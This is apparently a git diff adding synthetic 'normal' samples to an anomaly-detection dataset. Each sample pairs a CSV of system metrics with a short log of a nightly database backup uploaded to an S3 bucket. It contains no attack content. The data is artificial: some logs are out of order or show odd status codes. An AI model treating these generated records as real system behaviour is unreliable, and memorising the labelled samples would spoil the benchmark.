Upload to s3://prod-backups/full-20250814.tar.gz finished. +Aug 14 02:07:25 nightly-backup[4128]: INFO: Nightly backup task completed successfully. +Aug 14 02:07:30 run-parts[4125]: finished nightly-backup-task for /etc/cron.daily diff --git a/norm_dataset/scenario_1/norm_1_31.csv b/norm_dataset/scenario_1/norm_1_31.csv new file mode 100644 index 0000000000000000000000000000000000000000..b615732612407a4cc6a0c15613601ab118939f62 --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_31.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-14T02:00:00Z,16.747296243116303,38.22878400982006,24.41506739127672,1.296191695960358,0.534486302759335 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+2025-08-14T02:07:25Z,12.18461298449343,40.4500527879938,29.870406723486,0.8718529405027264,0.5907986673471152 diff --git a/norm_dataset/scenario_1/norm_1_31.log b/norm_dataset/scenario_1/norm_1_31.log new file mode 100644 index 0000000000000000000000000000000000000000..2a4a4653ec733ec843ace93a85664877a0e0c81a --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_31.log @@ -0,0 +1,12 @@ +Aug 14 02:00:00 systemd[1]: Starting daily clean up activities... +Aug 14 02:00:25 web-app[1234]: GET /api/v1/user/42 status=200 OK +Aug 14 02:01:00 web-app[1234]: GET /api/v1/user/42 status=200 OK +Aug 14 02:01:30 CRON[12345]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 14 02:01:30 CRON[12346]: (backup-user) CMD (/usr/local/bin/backup-script.sh) +Aug 14 02:01:30 backup-script[12348]: INFO: Starting job 'nightly-backup-task'. +Aug 14 02:01:30 backup-script[12348]: INFO: Backing up database 'production_db'. +Aug 14 02:05:00 backup-script[12348]: INFO: Database dump complete. Archive size 50GB. +Aug 14 02:05:00 backup-script[12348]: INFO: Starting upload to s3://prod-backups/full-20250814.tar.gz +Aug 14 02:06:30 backup-script[12348]: INFO: Upload to s3://prod-backups/full-20250814.tar.gz finished. +Aug 14 02:06:30 backup-script[12348]: INFO: Nightly backup task finished successfully. +Aug 14 02:07:05 web-app[1234]: GET /api/v1/user/42 status=200 OK diff --git a/norm_dataset/scenario_1/norm_1_32.csv b/norm_dataset/scenario_1/norm_1_32.csv new file mode 100644 index 0000000000000000000000000000000000000000..f855c69fc46ace49610c40ef09059a8a851d08f5 --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_32.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-14 02:00:00+00:00,14.5,43.56,35.1,1.04,1.0 +2025-08-14 02:00:05+00:00,13.59,43.52,22.06,0.96,0.91 +2025-08-14 02:00:10+00:00,14.68,37.74,23.34,1.0,0.93 +2025-08-14 02:00:15+00:00,12.24,40.94,32.65,1.11,0.75 +2025-08-14 02:00:20+00:00,14.4,43.04,33.5,1.07,1.03 +2025-08-14 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02:00:00 systemd[1]: Starting daily clean up activities... +Aug 14 02:00:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 14 02:00:40 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 14 02:00:50 CRON[6543]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 14 02:00:55 root-backup-script[6544]: INFO: Starting job 'nightly-backup-task'. +Aug 14 02:01:05 systemd[1]: Starting daily clean up activities... +Aug 14 02:01:20 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 14 02:02:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 14 02:02:05 root-backup-script[6544]: INFO: Reading data from production database. +Aug 14 02:02:10 systemd[1]: Starting daily clean up activities... +Aug 14 02:02:40 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 14 02:03:15 systemd[1]: Starting daily clean up activities... +Aug 14 02:03:20 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 14 02:04:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 14 02:04:05 root-backup-script[6544]: INFO: Database dump complete. Archive size 50GB. +Aug 14 02:04:20 systemd[1]: Starting daily clean up activities... +Aug 14 02:04:35 root-backup-script[6544]: INFO: Starting upload to remote storage. +Aug 14 02:04:40 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 14 02:05:20 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 14 02:05:25 systemd[1]: Starting daily clean up activities... +Aug 14 02:06:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 14 02:06:30 systemd[1]: Starting daily clean up activities... +Aug 14 02:06:35 root-backup-script[6544]: INFO: Upload to s3://prod-backups/full-20250814.tar.gz finished. +Aug 14 02:06:40 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 14 02:07:05 CRON[6543]: (root) CMD (run-parts --report /etc/cron.daily) END +Aug 14 02:07:20 web-app[1234]: GET /api/v1/user/12 status=200 OK diff --git a/norm_dataset/scenario_1/norm_1_33.csv b/norm_dataset/scenario_1/norm_1_33.csv new file mode 100644 index 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+2025-08-15T02:07:10Z,11.964027254739113,40.51207435230734,25.474126636261953,0.8677199970505529,0.775959009393427 +2025-08-15T02:07:15Z,17.973029314493065,45.325100296079256,35.2500464403517,0.7759001321820337,0.7048420056077279 +2025-08-15T02:07:20Z,15.225257086793812,45.2272259615375,33.09484336648715,1.035996397717279,0.9038470329055097 +2025-08-15T02:07:25Z,12.18461298449343,40.4500527879938,29.870406723486,1.204948008419625,0.8126709646355155 diff --git a/norm_dataset/scenario_1/norm_1_33.log b/norm_dataset/scenario_1/norm_1_33.log new file mode 100644 index 0000000000000000000000000000000000000000..b673e9487071977a950c0aacb726ffdf1213046c --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_33.log @@ -0,0 +1,13 @@ +Aug 15 02:00:10 systemd[1]: Starting daily clean up activities... +Aug 15 02:00:25 web-app[1502]: GET /api/v1/health status=200 OK +Aug 15 02:00:50 web-app[1502]: GET /api/v1/health status=200 OK +Aug 15 02:01:00 CRON[7531]: (root) CMD (run-parts --report /etc/cron.daily/backup-task) +Aug 15 02:01:05 backup-script[7533]: INFO: Starting job 'nightly-backup-task'. +Aug 15 02:01:10 backup-script[7533]: INFO: Starting database dump... +Aug 15 02:04:30 backup-script[7533]: INFO: Database dump complete. Archive size 50GB. +Aug 15 02:04:35 backup-script[7533]: INFO: Starting upload to s3://prod-backups/full-20250815.tar.gz... +Aug 15 02:05:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app +Aug 15 02:06:15 systemd[1]: Starting clean up of old temporary directories... +Aug 15 02:07:00 backup-script[7533]: INFO: Upload to s3://prod-backups/full-20250815.tar.gz finished. +Aug 15 02:07:05 backup-script[7533]: INFO: Nightly backup task completed successfully. +Aug 15 02:07:20 web-app[1502]: GET /api/v1/health status=200 OK diff --git a/norm_dataset/scenario_1/norm_1_34.csv b/norm_dataset/scenario_1/norm_1_34.csv new file mode 100644 index 0000000000000000000000000000000000000000..b0843d23d33977deef1de796d750ce312f1ce11d --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_34.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T02:00:00Z,6.2,40.48,10.15,0.94,0.51 +2025-08-15T02:00:05Z,13.37,39.6,11.61,0.56,1.4 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+2025-08-15T02:06:50Z,7.01,42.0,18.62,1.5,1.12 +2025-08-15T02:06:55Z,14.26,44.79,10.14,0.93,1.07 +2025-08-15T02:07:00Z,12.87,41.48,11.57,0.9,0.83 +2025-08-15T02:07:05Z,8.34,39.39,10.6,0.8,0.68 +2025-08-15T02:07:10Z,5.66,44.35,12.68,1.12,0.97 +2025-08-15T02:07:15Z,12.7,43.21,13.84,1.14,1.1 +2025-08-15T02:07:20Z,13.24,40.36,12.99,1.49,1.34 +2025-08-15T02:07:25Z,11.11,42.05,14.51,1.22,1.02 diff --git a/norm_dataset/scenario_1/norm_1_34.log b/norm_dataset/scenario_1/norm_1_34.log new file mode 100644 index 0000000000000000000000000000000000000000..ede0f223075515aef3290db38f23bd99d268d60b --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_34.log @@ -0,0 +1,14 @@ +Aug 15 02:00:00 systemd[1]: Starting daily clean up activities... +Aug 15 02:00:25 web-app[3456]: GET /api/v1/health status=200 OK +Aug 15 02:01:00 CRON[12345]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 15 02:01:00 backup-script[12346]: INFO: Starting job 'nightly-backup-task'. +Aug 15 02:01:30 backup-script[12346]: INFO: Starting database dump... +Aug 15 02:02:30 backup-script[12346]: INFO: Database dump complete. +Aug 15 02:02:35 backup-script[12346]: INFO: Archiving files from /var/www/html... +Aug 15 02:03:55 backup-script[12346]: INFO: Compression complete. Archive size 50GB. +Aug 15 02:04:00 backup-script[12346]: INFO: Uploading to s3://prod-backups/full-20250815.tar.gz... +Aug 15 02:04:40 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 15 02:06:30 backup-script[12346]: INFO: Upload to s3://prod-backups/full-20250815.tar.gz finished. +Aug 15 02:06:35 backup-script[12346]: INFO: Nightly backup task completed successfully. +Aug 15 02:07:05 web-app[3456]: GET /api/v1/health status=200 OK +Aug 15 02:07:35 systemd[1]: Daily clean up activities finished. diff --git a/norm_dataset/scenario_1/norm_1_35.csv b/norm_dataset/scenario_1/norm_1_35.csv new file mode 100644 index 0000000000000000000000000000000000000000..d42666568837eaa9c1ab0925d4d35ea4f1d97472 --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_35.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-14T02:00:00Z,17.620944364674454,37.0479733497001,24.41506739127672,1.0996948672776927,0.814313175167473 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+2025-08-14T02:07:25Z,10.776919476740144,40.750087979989665,29.870406723486,1.204948008419625,0.8126709646355155 diff --git a/norm_dataset/scenario_1/norm_1_35.log b/norm_dataset/scenario_1/norm_1_35.log new file mode 100644 index 0000000000000000000000000000000000000000..cc9fbc82fc5c822c38805eeaa32cde4fc769daa9 --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_35.log @@ -0,0 +1,14 @@ +Aug 14 02:00:25 systemd[1]: Starting daily clean up activities... +Aug 14 02:00:50 web-app[1357]: GET /api/v1/health status=200 OK +Aug 14 02:01:40 CRON[7654]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 14 02:01:41 systemd[1]: Starting Nightly Backup Task... +Aug 14 02:01:43 backup-script[7659]: INFO: Starting job 'nightly-backup-task'. +Aug 14 02:01:50 backup-script[7659]: INFO: Starting database dump for 'production_db'... +Aug 14 02:02:55 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-prod +Aug 14 02:04:10 web-app[1357]: GET /api/v1/user/99 status=200 OK +Aug 14 02:05:00 backup-script[7659]: INFO: Database dump complete. Archive size 50GB. +Aug 14 02:05:02 backup-script[7659]: INFO: Starting upload to s3://prod-backups/full-20250814.tar.gz. +Aug 14 02:06:40 backup-script[7659]: INFO: Upload to s3://prod-backups/full-20250814.tar.gz finished. +Aug 14 02:06:42 backup-script[7659]: INFO: Nightly backup job completed successfully. +Aug 14 02:07:05 systemd[1]: Daily clean up activities finished. +Aug 14 02:07:25 web-app[1357]: GET /api/v1/health status=200 OK \ No newline at end of file diff --git a/norm_dataset/scenario_1/norm_1_36.csv b/norm_dataset/scenario_1/norm_1_36.csv new file mode 100644 index 0000000000000000000000000000000000000000..e82facc897278c1aa9393abd6e519da0551d304f --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_36.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-14T02:00:00Z,9.286554194160157,33.259566530669765,15.582597398834803,1.4427898907899452,1.3486430888550538 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+2025-08-14T02:07:25Z,11.84071306571584,34.097608199724185,15.845166586060834,1.0892529448001127,0.7482055107266017 diff --git a/norm_dataset/scenario_1/norm_1_36.log b/norm_dataset/scenario_1/norm_1_36.log new file mode 100644 index 0000000000000000000000000000000000000000..b64552839f7d92bd382c70ee65d46115c884ef2e --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_36.log @@ -0,0 +1,20 @@ +Aug 14 02:00:00 systemd[1]: Starting daily clean up activities... +Aug 14 02:00:00 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 02:01:00 systemd[1]: Starting daily clean up activities... +Aug 14 02:01:15 backup-script[3105]: INFO: Reading file list for backup... +Aug 14 02:01:15 backup-script[3105]: INFO: Starting job 'nightly-backup-task'. +Aug 14 02:01:15 cron[3102]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 14 02:02:00 systemd[1]: Starting daily clean up activities... +Aug 14 02:02:05 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 02:03:00 systemd[1]: Starting daily clean up activities... +Aug 14 02:03:20 backup-script[3105]: INFO: Compressing backup archive... +Aug 14 02:03:20 backup-script[3105]: INFO: Database dump complete. Archive size 50GB. +Aug 14 02:04:00 systemd[1]: Starting daily clean up activities... +Aug 14 02:04:10 backup-script[3105]: INFO: Compression complete. Starting upload to s3. +Aug 14 02:04:10 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 02:05:00 systemd[1]: Starting daily clean up activities... +Aug 14 02:06:00 systemd[1]: Starting daily clean up activities... +Aug 14 02:06:15 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 02:06:40 backup-script[3105]: INFO: Nightly backup job completed successfully. +Aug 14 02:06:40 backup-script[3105]: INFO: Upload to s3://prod-backups/full-20250814.tar.gz finished. +Aug 14 02:07:00 systemd[1]: Starting daily clean up activities... diff --git a/norm_dataset/scenario_1/norm_1_37.csv b/norm_dataset/scenario_1/norm_1_37.csv new file mode 100644 index 0000000000000000000000000000000000000000..547019bf7422656ce1125474dda093b5b2d84def --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_37.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-14T02:00:00Z,11.29,45.16,24.56,1.1,1.11 +2025-08-14T02:00:05Z,8.77,49.02,32.51,1.53,1.15 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+2025-08-14T02:06:40Z,22.13,46.65,28.94,2.16,89.71 +2025-08-14T02:06:45Z,25.09,46.71,38.78,1.73,101.3 +2025-08-14T02:06:50Z,18.7,42.89,28.55,1.0,86.77 +2025-08-14T02:06:55Z,28.91,43.43,37.8,0.72,92.32 +2025-08-14T02:07:00Z,22.6,41.35,28.17,1.44,82.17 +2025-08-14T02:07:05Z,25.01,45.17,38.65,2.01,77.9 +2025-08-14T02:07:10Z,12.26,43.07,27.24,2.08,0.77 +2025-08-14T02:07:15Z,10.22,41.97,33.17,1.02,0.65 +2025-08-14T02:07:20Z,8.95,45.33,34.46,1.31,1.02 +2025-08-14T02:07:25Z,7.21,44.13,29.5,1.13,0.86 diff --git a/norm_dataset/scenario_1/norm_1_37.log b/norm_dataset/scenario_1/norm_1_37.log new file mode 100644 index 0000000000000000000000000000000000000000..29ef6d41007c00a976fa8288955e0f3a0acd49c5 --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_37.log @@ -0,0 +1,11 @@ +Aug 14 02:00:15 systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 14 02:00:30 CRON[18301]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 14 02:00:40 backup-script[18305]: INFO: Starting job 'nightly-backup-task'. +Aug 14 02:01:40 kernel: [11235.1234] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Aug 14 02:02:55 backup-script[18305]: INFO: Reading data from production database 'prod_db_1'. +Aug 14 02:03:25 backup-script[18305]: INFO: Database dump complete. Archive size 50GB. +Aug 14 02:04:35 backup-script[18305]: INFO: Compressing archive with gzip. +Aug 14 02:05:50 backup-script[18305]: INFO: Compression finished. Starting upload to remote storage. +Aug 14 02:07:10 backup-script[18305]: INFO: Upload to s3://prod-backups/full-20250814.tar.gz finished. +Aug 14 02:07:20 backup-script[18305]: INFO: Nightly backup task completed successfully. +Aug 14 02:07:25 systemd[1]: nightly-backup.service: Succeeded. diff --git a/norm_dataset/scenario_1/norm_1_38.csv b/norm_dataset/scenario_1/norm_1_38.csv new file mode 100644 index 0000000000000000000000000000000000000000..1468220b328952107ad04a6c722e5124336d2b37 --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_38.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-14T02:00:00Z,15.99,45.29,33.13,0.87,1.51 +2025-08-14T02:00:05Z,14.72,47.91,25.71,1.13,0.88 +2025-08-14T02:00:10Z,16.3,42.89,24.65,1.0,0.88 +2025-08-14T02:00:15Z,18.05,44.02,32.41,1.36,1.79 +2025-08-14T02:00:20Z,14.53,43.82,28.88,1.16,1.17 +2025-08-14T02:00:25Z,14.53,40.61,33.57,0.66,1.17 +2025-08-14T02:00:30Z,18.16,45.89,32.37,0.57,1.61 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+2025-08-14T02:07:10Z,16.83,45.04,38.16,0.58,1.64 +2025-08-14T02:07:15Z,15.66,49.36,22.85,1.2,1.27 +2025-08-14T02:07:20Z,13.94,44.21,27.8,0.57,1.21 +2025-08-14T02:07:25Z,16.03,53.16,30.65,1.32,1.07 diff --git a/norm_dataset/scenario_1/norm_1_38.log b/norm_dataset/scenario_1/norm_1_38.log new file mode 100644 index 0000000000000000000000000000000000000000..dfc500acd649f71647e1e56ac981b9151ffe6522 --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_38.log @@ -0,0 +1,25 @@ +Aug 14 02:00:00 backup-host systemd[1]: Starting clean up of old temporary directories... +Aug 14 02:00:00 backup-host web-app[8080]: GET /api/v1/user/15 status=201 OK +Aug 14 02:00:40 backup-host web-app[8080]: GET /api/v1/user/17 status=200 OK +Aug 14 02:01:15 backup-host systemd[1]: Starting clean up of old temporary directories... +Aug 14 02:01:20 backup-host web-app[8080]: GET /api/v1/user/12 status=201 OK +Aug 14 02:01:40 backup-host cron[14206]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 14 02:01:45 backup-host systemd[1]: Starting Daily apt download activities... +Aug 14 02:01:50 backup-host cron[12158]: INFO: Starting job 'nightly-backup-task'. +Aug 14 02:02:00 backup-host web-app[8080]: GET /api/v1/user/18 status=200 OK +Aug 14 02:02:30 backup-host systemd[1]: Starting clean up of old temporary directories... +Aug 14 02:02:40 backup-host web-app[8080]: GET /api/v1/user/15 status=201 OK +Aug 14 02:03:20 backup-host web-app[8080]: GET /api/v1/user/11 status=204 OK +Aug 14 02:03:45 backup-host systemd[1]: Starting clean up of old temporary directories... +Aug 14 02:04:00 backup-host web-app[8080]: GET /api/v1/user/17 status=204 OK +Aug 14 02:04:10 backup-host backup-script[12158]: INFO: Database dump complete. Archive size 50GB. +Aug 14 02:04:20 backup-host backup-script[12158]: INFO: Starting upload to s3://prod-backups/full-20250814.tar.gz +Aug 14 02:04:40 backup-host web-app[8080]: GET /api/v1/user/15 status=200 OK +Aug 14 02:05:00 backup-host systemd[1]: Starting clean up of old temporary directories... +Aug 14 02:05:20 backup-host web-app[8080]: GET /api/v1/user/18 status=200 OK +Aug 14 02:06:00 backup-host web-app[8080]: GET /api/v1/user/14 status=201 OK +Aug 14 02:06:15 backup-host backup-script[12158]: INFO: Upload to s3://prod-backups/full-20250814.tar.gz finished. +Aug 14 02:06:15 backup-host systemd[1]: Starting clean up of old temporary directories... +Aug 14 02:06:20 backup-host cron[12158]: INFO: Job 'nightly-backup-task' finished successfully. +Aug 14 02:06:40 backup-host web-app[8080]: GET /api/v1/user/14 status=201 OK +Aug 14 02:07:20 backup-host web-app[8080]: GET /api/v1/user/15 status=204 OK diff --git a/norm_dataset/scenario_1/norm_1_39.csv b/norm_dataset/scenario_1/norm_1_39.csv new file mode 100644 index 0000000000000000000000000000000000000000..cc94ff1d1af20587d847c3ae80fc0b4c773bd8e1 --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_39.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-14T02:00:00Z,15.14,39.15,11.49,1.21,1.12 +2025-08-14T02:00:05Z,14.91,39.21,9.1,0.77,0.92 +2025-08-14T02:00:10Z,15.48,39.77,13.32,0.64,0.84 +2025-08-14T02:00:15Z,14.73,39.75,9.63,1.31,0.97 +2025-08-14T02:00:20Z,11.68,40.11,8.11,0.8,0.82 +2025-08-14T02:00:25Z,17.26,40.39,10.53,1.25,1.06 +2025-08-14T02:00:30Z,14.45,39.29,6.98,0.65,1.08 +2025-08-14T02:00:35Z,13.61,41.0,13.88,1.14,1.2 +2025-08-14T02:00:40Z,14.82,41.04,5.34,1.03,0.8 +2025-08-14T02:00:45Z,12.68,40.53,10.0,0.66,0.87 +2025-08-14T02:00:50Z,13.32,39.86,8.26,1.2,0.89 +2025-08-14T02:00:55Z,13.02,39.3,14.27,1.12,0.86 +2025-08-14T02:01:00Z,13.41,41.03,7.33,1.11,0.87 +2025-08-14T02:01:05Z,15.78,42.75,12.95,1.35,0.96 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+2025-08-14T02:04:30Z,88.16,49.89,10.27,0.94,0.97 +2025-08-14T02:04:35Z,78.56,53.96,8.59,1.21,1.12 +2025-08-14T02:04:40Z,86.77,49.53,6.97,1.15,0.97 +2025-08-14T02:04:45Z,82.6,50.39,6.51,0.71,1.05 +2025-08-14T02:04:50Z,78.17,53.41,8.17,0.64,1.13 +2025-08-14T02:04:55Z,88.59,52.22,12.8,0.98,0.91 +2025-08-14T02:05:00Z,15.08,41.11,11.33,0.71,1.11 +2025-08-14T02:05:05Z,11.99,41.95,10.12,0.83,55.66 +2025-08-14T02:05:10Z,16.47,38.42,11.54,1.3,42.14 +2025-08-14T02:05:15Z,16.34,38.98,13.52,1.12,55.49 +2025-08-14T02:05:20Z,15.32,38.59,12.94,1.14,54.22 +2025-08-14T02:05:25Z,12.94,42.96,13.12,0.64,46.12 +2025-08-14T02:05:30Z,16.2,38.3,13.14,1.41,53.73 +2025-08-14T02:05:35Z,12.21,41.61,11.14,1.13,56.9 +2025-08-14T02:05:40Z,14.4,42.33,10.15,0.9,59.53 +2025-08-14T02:05:45Z,14.06,41.46,10.69,1.0,52.31 +2025-08-14T02:05:50Z,16.98,38.6,15.33,1.06,52.57 +2025-08-14T02:05:55Z,14.38,39.2,13.28,0.96,53.6 +2025-08-14T02:06:00Z,13.44,36.51,17.34,1.35,48.09 +2025-08-14T02:06:05Z,16.13,41.38,14.39,0.65,43.84 +2025-08-14T02:06:10Z,13.56,41.02,12.96,1.08,50.73 +2025-08-14T02:06:15Z,10.79,41.7,14.37,1.15,45.67 +2025-08-14T02:06:20Z,15.42,41.66,13.18,1.46,50.37 +2025-08-14T02:06:25Z,16.58,41.67,11.42,0.54,45.55 +2025-08-14T02:06:30Z,14.72,41.33,8.42,0.65,45.76 +2025-08-14T02:06:35Z,16.39,38.53,9.83,0.82,50.21 +2025-08-14T02:06:40Z,11.78,41.37,11.75,0.6,47.29 +2025-08-14T02:06:45Z,14.22,40.11,6.99,0.63,59.21 +2025-08-14T02:06:50Z,19.26,40.9,15.54,1.38,39.64 +2025-08-14T02:06:55Z,12.28,41.87,14.98,1.0,54.68 +2025-08-14T02:07:00Z,16.07,42.03,10.27,1.48,54.18 +2025-08-14T02:07:05Z,15.01,41.35,11.02,1.43,1.13 +2025-08-14T02:07:10Z,13.57,36.99,6.17,0.54,1.16 +2025-08-14T02:07:15Z,17.0,41.11,11.22,1.5,0.87 +2025-08-14T02:07:20Z,15.06,41.27,13.38,1.37,0.92 +2025-08-14T02:07:25Z,15.34,37.46,13.03,0.89,0.81 diff --git a/norm_dataset/scenario_1/norm_1_39.log b/norm_dataset/scenario_1/norm_1_39.log new file mode 100644 index 0000000000000000000000000000000000000000..a1a8892772dc01fb70b6309330a74a9533c817f1 --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_39.log @@ -0,0 +1,31 @@ +Aug 14 02:00:00 systemd[1]: Starting daily clean up activities... +Aug 14 02:00:00 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 02:00:35 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 02:00:50 systemd[1]: Starting daily clean up activities... +Aug 14 02:01:10 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 02:01:20 CRON[1482]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 14 02:01:30 backup-scheduler[1490]: INFO: Starting job 'nightly-backup-task'. +Aug 14 02:01:40 systemd[1]: Starting daily clean up activities... +Aug 14 02:01:45 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 02:01:55 backup.sh[1495]: INFO: Dumping PostgreSQL database 'production_db'... +Aug 14 02:01:55 backup.sh[1495]: INFO: Starting full system backup... +Aug 14 02:02:20 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 02:02:30 systemd[1]: Starting daily clean up activities... +Aug 14 02:02:55 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 02:03:20 systemd[1]: Starting daily clean up activities... +Aug 14 02:03:30 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 02:04:05 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 02:04:10 systemd[1]: Starting daily clean up activities... +Aug 14 02:04:40 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 02:05:00 backup.sh[1495]: INFO: Compressing backup files... +Aug 14 02:05:00 backup.sh[1495]: INFO: Database dump complete. Archive size 50GB. +Aug 14 02:05:00 systemd[1]: Starting daily clean up activities... +Aug 14 02:05:15 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 02:05:25 backup.sh[1495]: INFO: Compression complete. Starting upload to s3://prod-backups/full-20250814.tar.gz +Aug 14 02:05:50 systemd[1]: Starting daily clean up activities... +Aug 14 02:05:50 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 02:06:25 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 02:06:40 systemd[1]: Starting daily clean up activities... +Aug 14 02:07:00 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 02:07:10 backup.sh[1495]: INFO: Backup task completed successfully. +Aug 14 02:07:10 backup.sh[1495]: INFO: Upload to s3://prod-backups/full-20250814.tar.gz finished. diff --git a/norm_dataset/scenario_1/norm_1_4.csv b/norm_dataset/scenario_1/norm_1_4.csv new file mode 100644 index 0000000000000000000000000000000000000000..06217dcb7144ff7e24fba77c8f80ebb704db9b4f --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_4.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-14T02:00:00Z,11.87,36.2,8.41,1.31,0.26 +2025-08-14T02:00:05Z,14.75,42.13,6.13,1.31,0.36 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+2025-08-14T02:06:30Z,11.79,35.41,10.7,0.87,0.38 +2025-08-14T02:06:35Z,10.58,40.91,5.97,1.13,0.13 +2025-08-14T02:06:40Z,14.32,41.78,11.15,1.0,0.13 +2025-08-14T02:06:45Z,13.12,35.17,14.9,1.36,0.49 +2025-08-14T02:06:50Z,11.65,40.12,6.4,1.16,0.25 +2025-08-14T02:06:55Z,10.32,37.26,10.18,0.66,0.25 +2025-08-14T02:07:00Z,11.55,41.45,13.77,0.57,0.43 +2025-08-14T02:07:05Z,11.63,36.74,12.41,1.14,0.48 +2025-08-14T02:07:10Z,13.65,41.91,11.97,0.53,0.49 +2025-08-14T02:07:15Z,13.19,38.87,12.02,1.09,0.4 +2025-08-14T02:07:20Z,14.44,44.37,8.59,1.44,0.25 +2025-08-14T02:07:25Z,12.36,36.38,7.94,1.08,0.13 diff --git a/norm_dataset/scenario_1/norm_1_4.log b/norm_dataset/scenario_1/norm_1_4.log new file mode 100644 index 0000000000000000000000000000000000000000..a4f065d09f111dfc3177849dbd360bc28544cc64 --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_4.log @@ -0,0 +1,25 @@ +Aug 14 02:00:00 systemd[1]: Starting daily clean up activities... +Aug 14 02:00:00 web-app[5432]: GET /api/v1/health status=200 OK +Aug 14 02:00:40 web-app[5432]: GET /api/v1/health status=200 OK +Aug 14 02:01:15 systemd[1]: Starting daily clean up activities... +Aug 14 02:01:20 web-app[5432]: GET /api/v1/health status=200 OK +Aug 14 02:01:55 CRON[12345]: (root) CMD (run-parts /etc/cron.daily/nightly-backup-task) +Aug 14 02:02:00 nightly-backup-task[12346]: INFO: Starting job 'nightly-backup-task'. +Aug 14 02:02:00 web-app[5432]: GET /api/v1/health status=200 OK +Aug 14 02:02:05 nightly-backup-task[12346]: INFO: Reading data from production database. +Aug 14 02:02:30 systemd[1]: Starting daily clean up activities... +Aug 14 02:02:40 web-app[5432]: GET /api/v1/health status=200 OK +Aug 14 02:03:20 web-app[5432]: GET /api/v1/health status=200 OK +Aug 14 02:03:45 systemd[1]: Starting daily clean up activities... +Aug 14 02:04:00 web-app[5432]: GET /api/v1/health status=200 OK +Aug 14 02:04:15 nightly-backup-task[12346]: INFO: Database dump complete. Archive size 50GB. +Aug 14 02:04:20 nightly-backup-task[12346]: INFO: Starting upload to remote storage. +Aug 14 02:04:40 web-app[5432]: GET /api/v1/health status=200 OK +Aug 14 02:05:00 systemd[1]: Starting daily clean up activities... +Aug 14 02:05:20 web-app[5432]: GET /api/v1/health status=200 OK +Aug 14 02:06:00 web-app[5432]: GET /api/v1/health status=200 OK +Aug 14 02:06:15 systemd[1]: Starting daily clean up activities... +Aug 14 02:06:20 nightly-backup-task[12346]: INFO: Upload to s3://prod-backups/full-20250814.tar.gz finished. +Aug 14 02:06:25 nightly-backup-task[12346]: INFO: Nightly backup job finished successfully. +Aug 14 02:06:40 web-app[5432]: GET /api/v1/health status=200 OK +Aug 14 02:07:20 web-app[5432]: GET /api/v1/health status=200 OK diff --git a/norm_dataset/scenario_1/norm_1_40.csv b/norm_dataset/scenario_1/norm_1_40.csv new file mode 